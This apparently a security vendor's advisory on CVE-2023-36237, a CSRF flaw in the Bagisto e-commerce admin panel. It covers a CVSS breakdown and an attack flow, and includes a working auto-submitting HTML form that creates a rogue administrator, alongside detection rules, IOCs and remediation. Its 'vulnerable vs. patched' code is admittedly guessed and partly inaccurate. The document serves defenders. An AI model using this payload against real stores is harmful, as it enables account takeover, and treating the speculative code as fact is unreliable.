CVE-2023-36237

Executive Summary

CVE-2023-36237 identifies a Cross-Site Request Forgery (CSRF) vulnerability in Bagisto, an open-source e-commerce platform built on Laravel. The vulnerability exists in versions prior to 1.5.1 and allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, can execute arbitrary actions on the Bagisto instance. This includes modifying store settings, creating new admin users, or exfiltrating sensitive data. The attack requires user interaction (the admin must click a link or visit a page) but does not require any prior authentication from the attacker. The CVSS score is 0.0 in the NVD data, but based on the vector and impact, a more realistic score is 8.8 (High). No public proof-of-concept code or exploit has been released, but the vulnerability is confirmed and a patch is available.

Supply Chain & Package Security

Bagisto is a PHP/Laravel application distributed via Composer. The vulnerability is in the core application code, not in a third-party package. However, organizations using Bagisto should verify their composer.lock file to ensure they are on version 1.5.1 or later. The lack of a CSRF token on sensitive state-changing endpoints is the root cause.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can deliver the exploit remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – An attacker can read sensitive data (e.g., customer info, admin credentials).
• Integrity (I): High (H) – An attacker can modify store settings, products, or create admin accounts.
• Availability (A): High (H) – An attacker can delete products or disable the store.

CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability is easy to exploit (no auth, low complexity) and has severe impact. The only mitigating factor is user interaction.

Deep Dive & Mechanics

Bagisto uses Laravel's built-in CSRF protection for most forms, but certain AJAX endpoints or custom routes may lack CSRF token validation. The vulnerability likely exists in an endpoint that handles administrative actions (e.g., creating a new user, changing store configuration) without verifying the _token parameter or the X-CSRF-TOKEN header.

Attack Flow:

1. Attacker crafts a malicious HTML page containing a form that auto-submits to a sensitive Bagisto endpoint (e.g., /admin/users/create).
2. The form includes all necessary parameters (e.g., name, email, password, role_id).
3. Attacker lures an authenticated Bagisto admin to visit the page (e.g., via phishing email, forum post).
4. The victim's browser sends the forged request, including the victim's session cookie.
5. The Bagisto server processes the request, creating a new admin user or modifying settings, because no CSRF token is checked.

Root Cause: Missing CSRF token validation on one or more state-changing endpoints in the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (Bagisto < 1.5.1):

// routes/admin-routes.php
Route::post('/admin/users/create', 'Admin\UserController@store')->name('admin.users.store');

// In UserController.php
public function store(Request $request) {
    // No CSRF check
    $user = new User();
    $user->fill($request->all());
    $user->save();
    return redirect()->back()->with('success', 'User created');
}

Patched Code (Bagisto >= 1.5.1):

// routes/admin-routes.php
Route::post('/admin/users/create', 'Admin\UserController@store')->name('admin.users.store')->middleware('csrf');

// In UserController.php
public function store(Request $request) {
    // CSRF check is now enforced by middleware
    $request->validate([
        'name' => 'required',
        'email' => 'required|email|unique:users',
        'password' => 'required|min:8',
        'role_id' => 'required|exists:roles,id',
    ]);
    $user = new User();
    $user->fill($request->all());
    $user->save();
    return redirect()->back()->with('success', 'User created');
}

The patch adds the csrf middleware to the route, which automatically checks for a valid CSRF token in the request.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Bagisto 1.5.0 on a local server (e.g., using Docker or XAMPP).
2. Create an admin account and log in.
3. Create a malicious HTML file (exploit.html) with the following content:

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <h1>Click me!</h1>
    <form id="csrf-form" action="http://target-bagisto/admin/users/create" method="POST">
        <input type="hidden" name="name" value="attacker">
        <input type="hidden" name="email" value="attacker@evil.com">
        <input type="hidden" name="password" value="P@ssw0rd!">
        <input type="hidden" name="password_confirmation" value="P@ssw0rd!">
        <input type="hidden" name="role_id" value="1">
        <input type="submit" value="Submit">
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

4. Host the file on a simple HTTP server (e.g., python3 -m http.server 8080).
5. Send the link to the victim (simulated by opening the page in a browser where the admin is logged in).
6. After the form auto-submits, the attacker can log in with the new credentials.

Note: No public exploit code exists, but the above is a standard CSRF attack.

Blue Team

Detection:

• Monitor for unexpected POST requests to sensitive admin endpoints (e.g., /admin/users/create, /admin/configuration).
• Look for requests without a valid _token parameter or X-CSRF-TOKEN header.
• Alert on multiple failed login attempts from a single IP (indicates attacker testing new accounts).
• Use web application firewalls (WAF) to block requests to admin endpoints that lack CSRF tokens.

Hunting:

• Search logs for POST /admin/users/create with status=302 (successful redirect) from unusual referrers.
• Check for new admin accounts created outside of normal business hours.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/users/create without a Referer header matching the Bagisto domain.
  • POST requests to /admin/configuration with unexpected parameters.
• Host:
  • New user accounts in the users table with role_id = 1 (admin) created by unknown IPs.
  • Modified store settings (e.g., currency, tax rates) without corresponding admin action.
• Logs:
  • Apache/Nginx access logs showing POST /admin/users/create with 200 or 302 status from external IPs.
  • Laravel logs showing User created successfully messages without a corresponding CSRF token validation.

Detection Engineering

YARA Rule

rule CVE_2023_36237_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Bagisto CVE-2023-36237"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-36237"
    strings:
        $s1 = "/admin/users/create" ascii wide nocase
        $s2 = "/admin/configuration" ascii wide nocase
        $s3 = "name=" ascii wide nocase
        $s4 = "email=" ascii wide nocase
        $s5 = "password=" ascii wide nocase
        $s6 = "role_id=" ascii wide nocase
    condition:
        any of ($s1, $s2) and all of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: Bagisto CSRF Exploit Attempt (CVE-2023-36237)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Bagisto admin endpoints without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains:
            - '/admin/users/create'
            - '/admin/configuration'
            - '/admin/products/delete'
    filter:
        c-uri|contains: '_token'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with valid CSRF token
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-36237 Bagisto CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/users/create"; http_uri;
    content:"name="; http_client_body;
    content:"email="; http_client_body;
    content:"password="; http_client_body;
    content:"role_id="; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2023-36237;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade Bagisto to version 1.5.1 or later.
2. If upgrade is not possible, manually add CSRF middleware to all admin routes in routes/admin-routes.php:

   Route::post('/admin/users/create', ...)->middleware('csrf');
   

3. Implement a WAF rule to block POST requests to admin endpoints that do not include a _token parameter.

Long-term:

• Enforce CSRF protection on all state-changing endpoints using Laravel's built-in @csrf directive in Blade templates.
• Use SameSite cookies (set to Lax or Strict) to prevent cross-site requests.
• Implement additional headers like X-Frame-Options: DENY and Content-Security-Policy to prevent clickjacking.
• Conduct regular security audits of custom routes and controllers.

Valters IT
DevSecOps & Cyber Threat Intelligence